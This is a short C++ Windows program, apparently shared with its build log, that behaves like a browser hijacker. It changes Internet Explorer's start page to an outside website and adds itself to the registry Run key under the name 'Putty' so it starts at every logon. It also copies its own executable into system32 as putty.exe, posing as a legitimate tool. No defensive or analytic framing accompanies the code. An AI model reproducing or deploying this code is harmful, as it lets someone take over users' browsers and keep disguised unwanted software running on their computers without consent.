--------------------Configuration: Text1 - Win32 Debug--------------------
Text1.exe - 0 error(s), 0 warning(s)
#include "stdafx.h"
#include "favorite.h"
#include <fstream>
using namespace std;
void FileCopy(const char *src,const char *dst)
{
#define BUFSZ 65500
char *buf;
FILE *fi;
FILE *fo;
buf = new char[BUFSZ];
unsigned a;
fi=fopen(src,"rb");
fo=fopen(dst,"wb");
for(;;){
a = fread(buf,sizeof(char),BUFSZ,fi);
fwrite(buf,sizeof(char),a,fo);
if (!a){goto l;}
}
l:
fclose(fi);
fclose(fo);
delete buf;
}
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
/// KTU
HKEY hkey;
HKEY test;
char *key = "http://www.m-o-j-web.net";
char *key1 = "c:\\putty.exe";
RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Internet Explorer\\Main",0,KEY_SET_VALUE,&hkey );
RegSetValueEx(hkey, "Start Page",0,REG_SZ,(const unsigned char*)key,strlen(key));
RegCloseKey(hkey);
RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&test);
RegSetValueEx(test, "Putty",0,REG_SZ,(const unsigned char*)key1,strlen(key1));
RegCloseKey(test);
char buf[5120];
GetModuleFileName(0, buf, sizeof(buf));
FileCopy(buf,"c:\\windows\\system32\\putty.exe");
/// KTU
}